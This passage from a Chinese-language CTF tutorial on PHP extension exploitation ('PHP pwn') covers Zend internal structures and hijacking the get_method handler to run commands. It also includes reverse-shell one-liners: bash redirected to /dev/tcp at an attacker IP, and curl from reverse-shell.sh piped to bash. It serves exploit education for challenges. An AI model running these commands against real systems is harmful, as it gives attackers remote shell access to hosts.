比如上述的lucky对象的zend_object结构的大小即为48+0x10*2=0x50

③zend_object_handlers

而每个zval结构体中的value值是一个指针,当该成员为字符串时,那么其为一个zend_string结构体指针

1
2
3
4
5
6
7
//7.3/src/Zend/zend_types.h
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};

当该成员为函数时,其为一个zend_object_handlers指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//7.3/src/Zend/zend_object_handlers.h
struct _zend_object_handlers {
/* offset of real object header (usually zero) */
int offset;
/* general object functions */
zend_object_free_obj_t free_obj;
zend_object_dtor_obj_t dtor_obj;
zend_object_clone_obj_t clone_obj;
/* individual object functions */
zend_object_read_property_t read_property;
zend_object_write_property_t write_property;
zend_object_read_dimension_t read_dimension;
zend_object_write_dimension_t write_dimension;
zend_object_get_property_ptr_ptr_t get_property_ptr_ptr;
zend_object_get_t get;
zend_object_set_t set;
zend_object_has_property_t has_property;
zend_object_unset_property_t unset_property;
zend_object_has_dimension_t has_dimension;
zend_object_unset_dimension_t unset_dimension;
zend_object_get_properties_t get_properties;
zend_object_get_method_t get_method;
zend_object_call_method_t call_method;
zend_object_get_constructor_t get_constructor;
zend_object_get_class_name_t get_class_name;
zend_object_compare_t compare_objects;
zend_object_cast_t cast_object;
zend_object_count_elements_t count_elements;
zend_object_get_debug_info_t get_debug_info;
zend_object_get_closure_t get_closure;
zend_object_get_gc_t get_gc;
zend_object_do_operation_t do_operation;
zend_object_compare_zvals_t compare;
};

同样的,也对应有其他的变量类型,由zval中的type来决定,type值的不同代表不同的类型,比如string为6,函数object为8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//src/Zend/zend_types.h
/* regular data types */
#define IS_UNDEF 0
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4
#define IS_DOUBLE 5
#define IS_STRING 6
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10

/* constant expressions */
#define IS_CONSTANT_AST 11

/* internal types */
#define IS_INDIRECT 13
#define IS_PTR 14
#define _IS_ERROR 15

/* fake types used only for type hinting (Z_TYPE(zv) can not use them) */
#define _IS_BOOL 16
#define IS_CALLABLE 17
#define IS_ITERABLE 18
#define IS_VOID 19
#define _IS_NUMBER 20

汇总一下,就是创建一个class类,然后劫持其函数成员创建的zval结构体中的zend_object_handlers指针,使其指向我们可控的区域,然后在对应偏移处修改get_method指针,使其指向可以执行系统命令的函数,从而来反弹shell。

或者说直接劫持函数成员创建的zval结构体中的zend_object_handlers指向的内存区域中的get_method指针,也是能起到一样的作用。

绕过点

不过还是需要绕过一些保护的,调用get_method函数指针貌似还是需要绕过一些东西的,这里不知道具体的原理,不过修改点还是可以说明的

①write_dimension

这个需要修改的,常见的如下,需要修改最低的为0x1

image-20220216190812859

相对应的修改如下

image-20220216190925728

相关检测的代码如下

image-20220216194142467

②get_method的选择

由于调用该函数指针时,传进来的rdi参数并非是我们的C语言上的字符串类型的指针,而貌似是一个类似zend_string的指针,类似如下

image-20220216193001312

所以不能使用常规意义system或者popen函数等,需要调用php中的相关内置的函数来对参数进行解析再执行。一般选择的是php程序中的php_exec函数下面的函数代码,下图红框所示

image-20220216191438382

同样的,以上的结构体在堆中通常也可以用来泄露地址

例题就是2021WMCTF checkin

2021WMCTF_checkin学习PHP PWN - 安全客,安全资讯平台 (anquanke.com)

PHP pwn入门1 - 格式化字符串漏洞 - HackMD

四、反弹shell

常见的反弹shell大概以下两种方式

1.popen直接反弹

这个只需要执行命令,其中127.0.0.1/6666即设置为自己攻击机的ip和端口

1
popen('/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"');

常见system函数不好使用,php中不好整的时候

2.使用中转站反弹

GitHub - lukechilds/reverse-shell: Reverse Shell as a Service

执行命令,其中192.168.0.69:1337也是设置为自己攻击机的ip和端口

1
system("curl https://reverse-shell.sh/192.168.0.69:1337|bash\x00");

相当于在一个服务器https://reverse-shell.sh进行中转

五、调试技巧

1.安装对应版本调试

这个就不多说了,在做题的时候,了解到php版本,然后本机安装对应版本的php,之后在php.ini中添加该模块调试即可

2.gdbserver调试

有些题目会给现成的docker环境,所以可以直接在里面使用gdbserver调试,但是有点问题就是,调试的时候好像没办法使用run命令来运行php文件,而直接调试php pwn.php的话,开始的时候相应的.so模块不会被加载进入,没办法下断点。

那么可以先将本地的ASLR关闭,这样docker中的ASLR也是关闭状态

然后gdbserver 127.0.0.1:6666 php,宿主机target remote:6666;c远程加载运行起来,找到对应.so模块的加载地址so_addr

之后再gdbserver 127.0.0.1:6666 php pwn.php,宿主机远程加载,使用add-symbol-file file.so so_addr从而加载进符号表,然后即可下断点调试了。